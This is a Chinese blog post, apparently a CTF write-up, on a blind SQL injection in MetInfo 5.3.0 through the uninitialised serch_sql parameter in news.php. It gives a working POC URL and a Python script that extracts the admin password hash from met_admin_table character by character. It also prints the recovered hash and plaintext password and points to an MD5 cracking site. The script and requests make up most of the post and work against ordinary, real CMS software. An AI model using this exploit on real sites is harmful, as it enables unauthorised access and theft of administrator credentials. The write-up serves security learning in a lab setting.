实验吧综合渗透_metinfo_盲注脚本

MetInfo5.3.0 版本SQL注入。在本地搭建环境,分析如下:

这个漏洞主要是listmod.php,代码的最后一行$serch_sql 怎么做能让这个没有在上面给初始化,这就是我们要做的。

通过调试:

我们的知 控制它是否初始化的另一个变量为imgproduct

当这个变量非search的任意字符的时候,导致serch_sql 不能进行初始化

构造POC:

http://localhost/MetInfo5.3/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(ascii(substr(b.admin_id,1,1))=97,1,0) limit 0,1– sd&imgproduct=xxxx

这样一来 比sql注入更为简单了97那个位置,然后在判断第二位,再穷聚,自然就爆表了。

实例

实验吧综合渗透metinfo。

本题环境就是这个,根据POC写如下脚本:

# -*- coding: utf8 -*-
import httplib
import requests
import urllib
import string

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789'

url="http://localhost:8080/MetInfo_v5.3.0/"

password = ''

for p in range(1, 33):

    for num in payloads:

        num = ord(num)

        poc = "http://localhost:8080/MetInfo_v5.3.0/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(ascii(substr(b.admin_pass,"+str(p)+",1))="+str(num)+",1,0) limit 0,1-- sd&imgproduct=xxxx"

        #print poc

        #result = urllib.request.urlopen(poc).txt

        conn = requests.get(poc)

        res = conn.content

        res = str(res)

        if res.find(r"为什么企业要建多国语言网站")>0:

            password = password + chr(num)

            print password

            break

测试效果如下:

根据如上脚本跑出账户密码为:

acd131fce58f4d6f86e4a503a303fa4e simpleware123

这个要收费,附一个MD5解密的免费网址:http://www.pdtools.net/tools/md5.jsp

大爷,赏个铜板呗!